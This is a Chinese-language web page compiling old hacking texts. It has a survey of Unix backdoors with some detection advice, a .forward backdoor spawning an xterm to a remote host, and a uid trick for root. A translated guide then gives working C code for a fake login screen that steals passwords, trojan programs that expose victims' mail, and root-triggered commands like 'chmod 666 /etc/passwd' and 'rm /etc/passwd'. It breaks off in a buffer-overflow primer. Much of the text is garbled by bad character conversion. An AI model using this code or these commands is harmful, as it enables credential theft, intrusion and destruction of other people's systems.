设为主页 | 加入收藏 | 繁體中文

最全的后门制作及安装技术

  从早期的盘算机入侵者开端,他们就努力生长能使自
  己重返被入侵体系的技术或后门.本文将讨论很多常
  见的后门及其检测方法. 更多的焦点放在Unix体系的
  后门,同时讨论一些未来将会呈现的Windows NT的后
  门. 本文将形貌如何测定入侵者使用的方法如许的复
  杂内容和办理员如何防止入侵者重返的基础知识. 当
  办理员懂的一旦入侵者入侵后要克制他们是多么之难
  以后, 将更主动于防备第一次入侵. 本文试图触及大
  量流行的低级和高级入侵者制作后门的伎俩, 但不会
  也不可能笼罩到所有可能的方法.
  大多数入侵者的后门完成以下二到三个目的:
  即使办理员经过改变所有密码类似的方法来进步安全
  性,仍然能再次侵入. 使再次侵入被发明的可能性减
  至最低.大多数后门想法躲过日记, 大多数环境下即
  使入侵者正在使用体系也无法显示他已在线. 一些情
  况下, 要是入侵者认为办理员可能会检测到曾经安置
  的后门, 他们以体系的 软弱性作为独一的后门, 重
  而反复攻破呆板. 这也不会惹起办理员的注意. 所以
  在 如许的环境下,一台呆板的软弱性是它独一未被
  注意的后门.
  密码破解后门
  这是入侵者使用的最早也是最老的方法, 它不仅可以
  失掉对Unix呆板的拜访, 并且可以经过破解密码制造
  后门. 这便是破解口令单薄的帐号. 以后即使办理员
  封了入侵者确以后帐号,这些新的帐号仍然可能是重
  新侵入的后门. 多数环境下, 入侵者寻找口令单薄的
  未使用帐号,然后将口令改的难些. 当办理员寻找口
  令单薄的帐号是, 也不会发明这些密码已修正的帐号
  .因此办理员很难确定查封哪个帐号.
  Rhosts + + 后门
  在连网的Unix呆板中,象Rsh和Rlogin如许的办事是基
  于rhosts文件里的主机名使用简略的认证方法. 用户
  可以方便的改变设置而不需口令就能进入. 入侵者只
  要向可以拜访的某用户的rhosts文件中输入"+ +",
  就可以容许任何人从任何地方无须口令便能进入这个
  帐号. 特别当home目录经过NFS向外共享时, 入侵者
  更热中于此. 这些帐号也成了入侵者再次侵入的后门
  . 很多人更喜好使用Rsh, 因为它通常短少日记能力.
  很多办理员经常查抄 "+ +", 所以入侵者现实上多设
  置来自网上的另一个帐号的主机名和用户名,从而不
  易被发明.
  校验和实工夫戳后门
  早期,很多入侵者用自己的trojan程序替换二进制文
  件. 体系办理员便寄托工夫戳和体系校验和的程序辨
  别一个二进制文件是否已被改变, 如Unix里的sum程
  序. 入侵者又生长了使trojan文件和原文件工夫戳同
  步的新技术. 它是如许完成的: 先将体系时钟拨回到
  原文件工夫, 然后调解trojan文件的工夫为体系工夫
  . 一旦二进制trojan文件与原来的精确同步, 就可以
  把体系工夫设回以后工夫. sum程序是基于CRC校验,
  很容易骗过.入侵者设计出了可以将trojan的校验和
  调解到原文件的校验和的程序. MD5是被大多数人推
  荐的,MD5使用的算法目前还没人能骗过.
  Login后门
  Unix里,login程序通常用来对telnet来的用户举行口
  令验证. 入侵者获取login.c的原代码并修正,使它在
  比力输入口令与存储口令时先查抄后门口令. 要是用
  户敲入后门口令,它将轻忽办理员设置的口令让你长
  驱直入. 这将容许入侵者进入任何帐号,乃至是root.
  由于后门口令是在用户真实登录并被日记记录到utmp
  和wtmp前产生一个拜访的, 所以入侵者可以登录获取
  shell却不会暴露该帐号. 办理员注意到这种后门后,
  便用"strings"命令搜刮login程序以寻找文本信息.
  很多环境下后门口令会暴露无遗. 入侵者就开端加密
  或者更好的隐蔽口令, 使strings命令失效. 所以更
  多的办理员是用MD5校验和检测这种后门的.
  Telnetd后门
  当用户telnet到体系, 监听端口的inetd办事接受连
  接随后递给in.telnetd,由它运行login.一些入侵者
  知道办理员会查抄login是否被修正, 就着手修正
  in.telnetd. 在in.telnetd外部有一些对用户信息的
  查验, 比如用户使用了何种终端. 典型的终端设置是
  Xterm或者VT100.入侵者可以做如许的后门, 当终端
  设置为"letmein"时产生一个不要任何验证的shell.
  入侵者已对某些办事作了后门, 对来自特定源端口的
  连接产生一个shell . 
  办事后门
  几乎所有网络办事曾被入侵者作过后门. finger,
  rsh, rexec, rlogin, ftp, 乃至inetd等等的作了的
  版本随处多是. 有的只是连接到某个TCP端口的
  shell,经过后门口令就能获取拜访.这些程序有时用
  刺娲□?ucp如许不消的办事,或者被参加inetd.conf
  作为一个新的办事.办理员应该十分注意那些办事正
  在运行, 并用MD5对原办事程序做校验.
  Cronjob后门
  Unix上的Cronjob可以按工夫表调度特定程序的运行.
  入侵者可以参加后门shell程序使它在1AM到2AM之间
  运行,那么每晚有一个小时可以失掉拜访. 也可以查
  看cronjob中经常运行的正当程序,同时置入后门.
  库后门
  几乎所有的UNIX体系使用共享库. 共享库用于雷同函
  数的重用而减少代码长度. 一些入侵者在象crypt.c
  和_crypt.c这些函数里作了后门. 象login.c如许的
  程序调用了crypt(),当使用后门口令时产生一个
  shell. 因此, 即使办理员用MD5查抄login程序,仍然
  能产生一个后门函数.并且很多办理员并不会查抄库
  是否被做了后门.对付很多入侵者来说有一个问题:
  一些办理员对所有工具多作了MD5校验. 有一种
  措施是入侵者对open()和文件拜访函数做后门. 后门
  函数读原文件但执行trojan后门程序. 所以 当MD5读
  这些文件时,校验和一切正常. 但当体系运行时将执
  行trojan版本的. 即使trojan库本身也可躲过
  MD5校验. 对付办理员来说有一种方法可以找到后门,
  便是静态编连MD5校验程序然后运行.
  静态连接程序不会使用trojan共享库. 
  内核后门
  内核是Unix事情的核心. 用于库躲过MD5校验的方法
  同样实用于内核级别,乃至连静态连接多不克不及识别.
  一个后门作的很好的内核是最难被办理员查找的, 所
  幸的是内核的后门程序还不是随手可得, 每人知道它
  事实上流传有多广.
  文件体系后门
  入侵者必要在办事器上存储他们的掠夺品或数据,并
  不克不及被办理员发明. 入侵者的文章常是包罗exploit
  脚本工具,后门集,sniffer日记,email的备分,原代码
  ,等等. 有时为了防止办理员发明这么大的文件, 入
  侵者必要修补"ls","du","fsck"以隐匿特定的目录和
  文件.在很低的级别, 入侵者做如许的毛病: 以专有
  的格式在硬盘上割出一部分, 且表示为坏的扇区. 因
  此入侵者只能用特另外工具拜访这些隐蔽的文件. 对
  于平凡的办理员来说, 很难发明这些"坏扇区"里的文
  件体系, 而它又的确存在. 
  Boot块后门
  在PC天下里,很多病毒藏匿与根区, 而杀病毒软件就
  是查抄根区是否被改变. Unix下,多数办理员没有检
  查根区的软件, 所以一些入侵者将一些后门留在根区
  .
  隐匿进程后门
  入侵者通常想隐匿他们运行的程序. 如许的程序一般
  是口令破解程序和监听程序(sniffer).有很多措施可
  以完成,这里是较通用的: 编写程序时修正自己的
  argv[]使它看起来象其他进程名. 可以将sniffer程
  序更名类似in.syslog再执行. 因此当办理员用"ps"
  查抄运行进程时, 呈现 的是尺度办事名. 可以修正
  库函数致使"ps"不克不及显示所有进程. 可以将一个后门
  或程序嵌入停止驱动程序使它不会在进程表展现. 使
  用这个技术的一个后门
  例子是amod.tar.gz :
  http://star.niimm.spb.su/~maillist/bugtraq.1/0
  777.html
  也可以修正内核隐匿进程.
  Rootkit
  最流行的后门安置包之一是rootkit. 它很容易用web
  搜刮器找到.从Rootkit的README里,可以找到一些典
  型的文件:
  z2 - removes entries from utmp, wtmp, and
  lastlog.
  Es - rokstar's ethernet sniffer for sun4 based
  kernels.
  Fix - try to fake checksums, install with same
  dates/perms/u/g.
  Sl - become root via a magic password sent to
  login.
  Ic - modified ifconfig to remove PROMISC flag
  from output.
  ps: - hides the processes.
  Ns - modified netstat to hide connections to
  certain machines.
  Ls - hides certain directories and files from
  being listed.
  du5 - hides how much space is being used on
  your hard drive.
  ls5 - hides certain files and directories from
  being listed.
  网络通行后门
  入侵者不仅想隐匿在体系里的痕迹, 并且也要隐匿他
  们的网络通行. 这些网络通行后门有时容许入侵者通
  过防火墙举行拜访. 有很多网络后门程序容许入侵者
  创建某个端标语并不消经过平凡办事就能完成拜访.
  因为这是经过非尺度网络端口的通行, 办理员可能忽
  视入侵者的脚印. 这种后门通常使用TCP,UDP和ICMP,
  但也可能是其他范例报文. 
  TCP Shell 后门
  入侵者可能在防火墙没有壅闭的高位TCP端口创建这
  些TCP Shell后门. 很多环境下,他们用口令举行掩护
  以免办理员连接上后立刻看到是shell拜访. 办理员
  可以用netstat命令检察以后的连接状态, 那些端口
  在侦听, 目前连接的来龙去脉. 通常这些后门可以让
  入侵者躲过TCP Wrapper技术. 这些后门可以放在
  SMTP端口, 很多防火墙容许e-mail通行的.
  UDP Shell 后门
  办理员经常注意TCP连接并观察其怪异环境, 而UDP
  Shell后门没有如许的连接, 所以netstat不克不及显示入
  侵者的拜访痕迹. 很多防火墙设置成容许类似DNS的
  UDP报文的通行. 通常入侵者将UDP Shell安排在这个
  端口, 容许穿越防火墙. 
  ICMP Shell 后门
  Ping是经过发送和接受ICMP包检测呆板运动状态的通
  用措施之一. 很多防火墙容许外界ping它外部的呆板
  . 入侵者可以放数据入Ping的ICMP包, 在ping的呆板
  间构成一个shell通道. 办理员大概会注意到Ping包
  狂风, 但除了他检察包内数据, 否者入侵者不会暴露
  .
  加密连接
  办理员可能创建一个sniffer试图某个拜访的数据,
  但当入侵者给网络通行后门加密后,就不可能被鉴定
  两台呆板间的传输内容了. 
  Windows NT
  由于Windows NT不克不及方便的允很多个用户象Unix下访
  问一台呆板, 对入侵者来说就很难突入Windows NT,
  安置后门,并从那边提倡打击. 因此你将更频繁地看
  到遍及的来自Unix的网络打击. 当Windows NT进步多
  用户技术后, 入侵者将更频繁地使用WindowsNT.要是
  这一天真的到来, 很多Unix的后门技术将移植到
  Windows NT上, 办理员可以期待入侵者的到来. 今天
  , Windows NT曾经有了telnet守护程序. 经过网络通
  行后门, 入侵者发明在Windows NT安置它们是可行的
  . ( With Network Traffic backdoors,
  theyarevery feasible for intruders to install
  on Windows NT. 此处该如何翻译? :(
  解决
  当后门技术越先进, 办理员越难于判断入侵者是否侵
  入后者他们是否被成功封杀.
  评价
  首先要做的是积极正确的预计你的网络的软弱性, 从
  而鉴定毛病的存在且修复之.很多贸易工具用来资助
  扫描和考核网络及体系的毛病. 要是仅仅安置提供商
  的安全补丁的话,很多公司将大大进步安全性.
  MD5基准线
  一个体系(安全)扫描的一个紧张因素是MD5校验和基
  准线. MD5基准线是在黑客入侵前由洁净
  体系创建. 一旦黑客入侵并创建了后门再创建基准线
  , 那么后门也被归并进去了.一些公司被入侵且体系
  被布置后门长达几个月.所有的体系备份多包罗了后
  门. 当公司发明有黑客并求助备份祛除后门时, 一切
  努力是白费的, 因为他们恢复体系的同时也恢复了后
  门. 应该在入侵产生前作好基准线的创建.
  入侵检测
  随着种种构造的上彀和容许对自己某些呆板的连接,
  入侵检测正变的越来越紧张.曩昔多数入侵检测技术
  是基于日记型的. 最新的入侵检测体系技术(IDS)是
  基于实时侦听和网络通行安全阐发的. 最新的IDS技
  术可以欣赏DNS的UDP报文, 并判断是否符合DNS协议
  恳求. 要是数据不符合协议, 就收回警告信号并抓取
  数据举行进一步阐发. 同样的原则可以运用到ICMP包
  , 查抄数据是否符合协议要求, 或者是否装载加密
  shell会话.
  从CD-ROM启动
  一些办理员考虑从CD-ROM启动从而消除了入侵者在
  CD-ROM上做后门的可能性.这种方法的问题是完成的
  费用和工夫够企业面对的.
  警告
  由于安全范畴变革之快, 每天有新的毛病被颁布, 而
  入侵者正不断设计新的打击和布置后门技术, 安枕无
  忧的安全技术是没有的.请记住没有简略的防御,只有
  不懈的努力!
  ( Be aware that no defense is foolproof, and
  that there is no substitute
  for
  diligent attention. 此句该如何翻译? :( )
  ---------------------------------------------
  ---------------------------- 
  you may want to add:
  .forward Backdoor
  On Unix machines, placing commands into the
  .forward file was also
  a common method of regaining access. For the
  account ``username''
  a .forward file might be constructed as
  follows:
  username
  |"/usr/local/X11/bin/xterm -disp
  hacksys.other.dom:0.0 -e
  /bin/sh"
  permutations of this method include alteration
  of the systems mail
  aliases file (most commonly located at
  /etc/aliases). Note that
  this is a simple permutation, the more
  advanced can run a simple
  script from the forward file that can take
  arbitrary commands via
  stdin (after minor preprocessing).
  PS: The above method is also useful gaining
  access a companies
  mailhub (assuming there is a shared a home
  directory FS on
  the client and server).
  > Using smrsh can effectively negate this
  backdoor (although it's quite
  > possibly still a problem if you allow things
  like elm's filter or
  > procmail which can run programs
  themselves...).
  你大概要增长:
  .forward后门
  Unix下在.forward文件里放入命令是重新失掉拜访的
  常用方法. 帐户'username'
  的
  .forward可能设置如下:
  username
  |"/usr/local/X11/bin/xterm -disp
  hacksys.other.dom:0.0 -e
  /bin/sh" 
  这种方法的变形包罗改变体系的mail的别名文件(通
  常位于/etc/aliases). 注意这只是一种简略的变更.
  更为高级的能够从.forward中运行简略脚本实如今标
  准输入执行恣意命令(小部分预处理后).
  >使用smrsh可以有效的克制这种后门(虽然要是容许
  可以自运行的elm's filter或procmail>类程序, 很
  有可能还有问题 ......)
  ( 此段的内容明白不深, 故付上英文, 请指教! )
  ---------------------------------------------
  ------------------------------ 
  你大概能用这个"特性"做后门:
  当在/etc/password里指定一个错误的uid/gid后, 大
  多数login(1)的完成是不克不及查抄出这个错误
  的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超等
  用户的权益.
  例子:
  rmartin:x:x50:50:R.
  Martin:/home/rmartin:/bin/tcsh
  在Linux里,这将把用户rmartin的uid设为0.
  Hack本领-使用Trogan Horses
  ------------------
  UNIX 的特洛伊木马
  ------------------
  Martin 翻译
  序言
  ----------
  "UNIX 安全" 是一种矛盾修饰法.它是一种能被暴力
  打击法方便攻破
  的体系.(大多数UNIX体系不会因为屡次错误的登录而
  挂起,并且它还有很多缺省的登录名如
  root,bin,sys,uccp等.)一旦你登录到体系,你就能轻
  易降服它,要是你会一点C言语,你就能让体系为你工
  作,并能完全避开体系的安全障碍创建你自己的登录,
  阅读任何人的文档,等.
  本文将提供一些这方面的C的源码以供各人实践.
  设置装备摆设要求
  你必要一个UNIX体系的有效帐号.为失掉最好结果,最
  好使用事情在真正机子(一台PDP/11,VAX,Pyramid,等
  )上的完全的UNIX版本(如 4.2bsd or AT&T System
  V).要是你能在学校的体系中失掉一个帐号那是再好
  不过了.
  注意
  本文受到86年4月的 issue of BYTE 中的一篇名
  叫"Making UNIX Secure."文章的开导而写的.在那篇
  文章中作者称"我们希望所提供的材料是风趣的但又
  不会成为'破坏者的菜谱'.我们常有意删除一些细节"
  我凭据此文的总体纲领,给出了基于他们所提到的方
  法的例子.
  步骤一:失掉口令
  你所必要的本领仅仅是一些最基本的UNIX及C言语的
  知识.不过,你得有能使用的终端如学校里盘算中间里
  的.
  当你向一个典型的UNIX体系登录时,你能看到如下这
  些:
  Tiburon Systems 4.2bsd / System V (shark)
  login: shark
  Password: (并不显示)
  我提供的程序能模仿一个登录过程.你在终端上运行
  这程序,然后离开.那些不知情的家伙要是来登录,他
  们的登录信息就会被保存成文档,并且屏幕上会显
  示"login incorrect"
  那些家伙会被要求再登录一次.第二次是真正的登录,
  这时候他们都成功了.显然那些家伙并不聪明.
  在体系上将下列源码生成文件'horse.c'. 因为体系
  有不同的版本,你可能必要修正前8行.
  ----- Code Begins Here -----
  /* this is what a 'C' comment looks like. You
  can leave them out. */
  /* #define's are like macros you can use for
  configuration. */
  #define SYSTEM " Tiburon Systems 4.2bsd UNIX
  (shark) "
  /* The above string should be made to look
  like the message that your
  * system prints when ready. Each represents a
  carriage return.
  */
  #define LOGIN "login: "
  /* The above is the login prompt. You
  shouldn't have to change it
  * unless you're running some strange version
  of UNIX.
  */
  #define PASSWORD "password:"
  /* The above is the password prompt. You
  shouldn't have to change
  * it, either.
  */
  #define WAIT 2
  /* The numerical value assigned to WAIT is the
  delay you get after
  * "password:" and before "login incorrect."
  Change it (0 = almost
  * no delay, 5 = LONG delay) so it looks like
  your system's delay.
  * realism is the key here - we don't want our
  target to become
  * suspicious.
  */
  #define INCORRECT "Login incorrect. "
  /* Change the above so it is what your system
  says when an incorrect
  * login is given. You shouldn't have to change
  it.
  */
  #define FILENAME "stuff"
  /* FILENAME is the name of the file that the
  hacked passwords will
  * be put into automatically. 'stuff' is a
  perfectly good name.
  */
  /* Don't change the rest of the program unless
  there is a need to
  * and you know 'C'.
  */
  #include
  #include
  int stop();
  main()
  {char name[10], password[10];
  int i;
  FILE *fp, *fopen();
  signal(SIGINT,stop);
  initscr();
  printf(SYSTEM);
  printf(LOGIN);
  scanf("%[^ ]",name);
  getchar();
  noecho();
  printf(PASSWORD);
  scanf("%[^ ]",password);
  printf(" ");
  getchar();
  echo();
  sleep(WAIT);
  if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
  #fprintf(fp,"login %s has password %s
  ",name,password);
  #fclose(fp);
  #}
  printf(INCORRECT);
  endwin();
  stop()
  {
  endwin();
  exit(0);
  }
  ----- Source Ends Here -----
  好了,完成上述事情并调试,使得它看上去就象你的系
  统的登录过程.用下列两行来编译'horse.c': (不要
  打' %'s, 那是一种提示符)
  % cc horse.c -lcurses -ltermcap
  % mv a.out horse
  如今你有了这个能事情的horse程序. 运行一下,要是
  它看上去不象体系的登录过程,你得重新编辑horse.c
  并重新编译.当你准备好运行该程序时,你应先创建一
  个新文件如'trap'或别的名字. 'trap' 应包罗下列
  两行命令:horse (这条运行你的程序)
  login (这条运行真正的登录程序)
  执行 'trap' 输入:
  % source trap (不要打 %)
  然后你就可以离开终端,期待...
  等你运行这程序频频后,查抄一下文档'stuff'(或其
  他你所指定的文档).它看上去是如许:
  user john has password secret
  user mary has password smegmaetc.
  记录口令,并删除该文档(要是体系办理员看到,那就
  大事不妙).
  注意 - 为取得最好结果,终端应设置成无用户停息模
  式--如许一来你的horse程序才不会空转在一连几小
  时无人使用的终端上.
  下一个步骤是如何运作在长途体系上,如你以侵入的
  Michigan的VAX,或Dartmouth的UNIX体系或其他的系
  统. 不过这必要一些'C'言语的知识.那些并不得当
  UNIX的初学者.
  步骤二:阅读任何人的文档
  当你运行程序,这其实是一个创建运作并让那程序干
  它所醒目的事,如删除你指定目录下的文档或创建一
  个有效的能让任何人阅读的文档.当人们在UNIX体系
  上保存以阅读的邮件,邮件以文档的形式被保存在他
  们的主目录下的 mbox这些文档通常阅读起来很有意
  思,但通常只是文档的所有者能阅读并非所有人都有
  这权益.这里有一个小程序能解开(也便是说 chmod
  777, 或让体系上的任何人都能读,写,执行)那个运行
  此程序
  的人的 mbox 中的文档:
  ----- Code Begins Here -----
  #include
  struct passwd *getpwnam(name);
  struct passwd *p;
  char buf[255];
  main()
  {
  p = getpwnam(getlogin()); 
  sprintf(buf,"%s/%s",p->pw_dir,"mbox");
  if ( access(buf,0) > -1 ) {
  sprintf(buf,"chmod 777 %s/%s",p-
  >pw_dir,"mbox");
  system(buf);
  }
  }
  ----- Code Ends Here -----
  问题在于如何让我的目标运行在我的目录下的这个程
  序?
  要是你地点的体系有public-messages (在4.xbsd的
  体系上, 输入'msgs')你就能在那儿颁发你的程序.将
  上述代码写入另一个程序中,找一个有效的或一个游
  戏程序(通常能在 UNIX WORLD 一类杂志中找到),修
  该它们,使它们能先完成上述任务然后再完成原来任
  务.要是你有一个叫tic-tac-toe的程序并且你曾经修
  改了它,让它来解开用户的mbox中的文档在让他们运
  行tic-tac-toe之前,你得鼓吹 "我有一个新的tic-
  tac-toe程序,你们都该试试.它就在我的目录下."或
  者另外什么的.要是你不想经过公共告示告诉所有人,
  那么就经过邮件发给那些你想捕捉的人.要是你不克不及
  找到一个真正的程序来修正,就用下面的程序并在两
  个'}'之间加这么一行,在程序的末端加上:
  printf("Error opening tic-tac-toe data file.
  Sorry! ");
  当该程序运行时,它就会显示下面那条错误的信息.
  用户会想"嘿,那家伙连一个简略的 tic-tac-toe 程
  序都不会写."其实真正被捉弄的人是他自己,你如今
  能阅读他的邮件了.
  要是在用户的目录下有一个指定的文件想看 (比如叫
  "secret"),你只需把下面的程序一起发给用户:
  main()
  {
  if ( access("secret",0) > -1 ) system("chmod
  777 secret");
  }
  然后表现得象 Joe Loser并告诉他: "我写了一个叫'
  超等星球大战'的程序,你想试试吗?"你应该充分发扬
  你的想象力.想出一些指令让那些人执行,并把它们以
  C言语程序的形式放在体系中.然后诱惑那些人来运行
  你的程序.这儿有个十分奇妙地使用上述本领的方法:
  步骤三:成为超等用户
  写一个程序让别人运行.在程序中参加这行:
  if ( !strcmp(getlogin(),"root") ) system
  ("whatever you want");
  这是为查抄root是否在运行你的程序. 要是是,你就
  能让他执行任何你想执行的shell命令你能让他执行
  下列命令:
  "chmod 666 /etc/passwd"
  /etc/passwd 是体系的口令寄存文档. 只有root 拥
  有这个文档.通常所有的用户
  都能读它(口令已被编码), 但是只有 root 能改写它
  .要是你曩昔没有看过,你得好好看看它的格式. 这条
  命令能让你往该文档中写工具. 也便是说为你和你的
  朋侪创建不受限制的帐户.
  "chmod 666 /etc/group"
  经过把你参加到高权限的组中, 你能留很多后门.
  "chmod 666 /usr/lib/uucp/L.sys"
  要是在uucp网上,找一下体系中的着个文档. 它包罗
  有连到网上其他体系的拨号联接及口令, 通常只有
  uucp办理员能读. 找到谁拥有这个文档,然后让他不
  知不觉地运行那个能让你解开该文档的程序.
  "rm /etc/passwd"
  要是你能取得 root 的权限,运行着条命令, 体系的
  passwd 文档就会被移走,体系会被停下并且在短期内
  不克不及恢复.如许做回形成宏大的损失.
  要是你准备将特洛伊木马程序添加到你的体系中,你
  应遵守几条规矩.要是是为了不可告人的目的(如解开
  用户的mbox或删除他的所有文件或其他什么的) 这个
  程序不可能是一个能让别人运行屡次的程序,因为一
  旦人们发明他们的文件都已公然,问题的泉源就很容
  易被发明.要是是以一个'测试'程序为目的(如你正在
  写的一个游戏程序),你能经过邮件要求不同的人来运
  行或和他们讨论.正如我所说,这个'测试'程序当完成
  任务时能显示假的错误信息,你就可以告诉那人"唔,
  我想它应革新", 等到他们离开,你就能读任何你解开
  的文档了.要是你的特洛伊木马程序只是为用来找到
  特殊的用户,如root或其他的拥有很高权限的用户,你
  可以将代码参加到体系中那些用户使用频率比力高的
  程序中. 你的修正会埋伏着直到他运行那程序. 要是
  你不克不及找到能让你'星际旅行'的源程序或其他的C语
  言程序,你只需学了C言语并从pascal中变更过一些来
  . 学习C言语并没有什么损失,因为它是一种十分了不
  起的言语.我们曾经看到它能在UNIX体系上所醒目的.
  一旦你抓到 root (也便是说你曾经可以修正
  /etc/passwd 文档) 从你的特洛伊木马程序中删除伪
  造用的代码,如许一来你就永久不会被抓了.
  Buffer Overflow 机理分析
  使用Buffer Overflow 方法来入侵目的主机是黑客们
  经常接纳的一种本领,本文将几篇先容其机理的文章
  作了一些加工整理, 对它的机理作出了由浅入深的剖
  析.
  本文分为下面几个部分, 朋侪们可以按照自己的兴趣
  选择不同的章节:
  关于货仓的基础知识
  Buffer Overflow 的原理
  Shell Code 的编写
  现实运用中遇到的问题
  附录
  1. 关于货仓的基础知识
  一个应用程序在运行时,它在内存中的映像可以分为
  三个部分: 代码段 , 数据段和货仓段(拜见下图).
  代码段对应与运行文件中的 Text Section ,此中包
  括运行代码和只读数据, 这个段在内存中一般被标志
  为只读 , 任何企图修正这个段中数据的指令将引发
  一个 Segmentation Violation 错误. 数据段对应与
  运行文件中的 Data Section 和 BSS Section ,此中
  寄存的是种种数据(颠末初始化的和未经初始化的)和
  静态变量.
  下面我们将细致先容一下货仓段.
  |--------| 虚存低端
  |        |
  |  代码段   |
  |        |
  |--------|
  |        |
  |  数据段   |
  |        |
  |--------|
  |        |
  |  货仓段   |
  |        |
  |--------| 虚存高端
  货仓是什么?
  要是你学过<<数据布局>>这门课的话, 就会知道货仓
  是一种盘算机中经常用到的笼统数据范例. 作用于堆
  栈上的操纵主要有两个: Push 和 Pop , 既压入和弹
  出. 货仓的特点是LIFO(Last in , First out), 既
  最后压入货仓的工具最先被弹出货仓.
  货仓段的作用是什么?
  如今大部分程序员都是在用高级言语举行模块化编程
  , 在这些应用程序中,不可克制地会呈现种种函数调
  用, 比如调用C 运行库,Win32 API 等等. 这些调用
  大部分都被编译器编译为Call语句. 当CPU 在执行这
  条指令时, 除了将IP变为调用函数的入口点以外, 还
  要将调用后的返回地址放入货仓. 这些函数调用往往
  还带有不同数量的入口参数和部分变量, 在这种环境
  下,编译器往往会生成一些指令将这些数据也存入堆
  栈(有些也可经过寄存器传递).
  我们将一个函数调用在货仓中寄存的这些数据和返回
  地址称为一个栈帧(Stack Frame).
  栈帧的布局:
  下面我们经过一个简略的例子来阐发一下栈帧的
  布局.
  void proc(int i)
  {
  int local;
  local=i;
  }
  void main()
  {
  proc(1);
  }
  这段代码颠末编译器后编译为:(以PC为例)
  main:push 1
  call  proc
  ...
  proc:push ebp
  mov ebp,esp
  sub esp,4
  mov eax,[ebp+08]
  mov [ebp-4],eax
  add esp,4
  pop ebp
  ret 4
  下面我们阐发一下这段代码.
  main:push 1
  call proc
  首先, 将调用要用到的参数1压入货仓,然后call
  proc
  proc:push ebp
  mov ebp,esp
  我们知道esp指向货仓的顶端,在函数调用时,各个参
  数和部分变量在货仓中的地位只和esp有关系,如可通
  过[esp+4]存取参数1. 但随着程序的运行,货仓中放
  入了新的数据,esp也随之变革,这时就不克不及在经过
  [esp+4]来存取1了. 因此, 为了便于参数和变量的存
  取, 编译器又引入了一个基址寄存器ebp, 首先将ebp
  的原值存入货仓,然后将esp的值赋给ebp,如许以后就
  可以不停使用[ebp+8]来存取参数1了.
  sub esp,4
  将esp减4,留出一个int的地位给部分变量 local 使
  用, local可经过[ebp-4]来存取
  mov eax,[ebp+08]
  mov [ebp-4],eax
  便是 local=i;
  add esp,4
  pop ebp
  ret 4
  首先esp加4,收回部分变量的空间,然后pop ebp, 恢
  复ebp原值,最后 ret 4,从货仓中取得返回地址,将
  EIP改为这个地址,并且将esp加4,收回参数所占的空
  间.
  不丢脸出,这个程序在执行proc过程时,栈帧的布局如
  下:
  4    4    4    4
  [local] [ebp] [ret地址] [参数1] 内存高端
  |    |
  esp(栈顶)ebp
  因此,我们可以总结出一般栈帧的布局:
  ..[local1][local2]..[localn][ebp][ret地
  址][参数1][参数2]..[参数n]
  |                |
  esp(栈顶)            ebp
  相识了栈帧的布局以后,如今我们可以来看一下
  Buffer overflow 的机理了.
  2. Buffer Overflow 的机理
  我们先举一个例子说明一下什么是 Buffer Overflow
  :
  void function(char *str)
  {
  char buffer[16];
  strcpy(buffer,str);


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: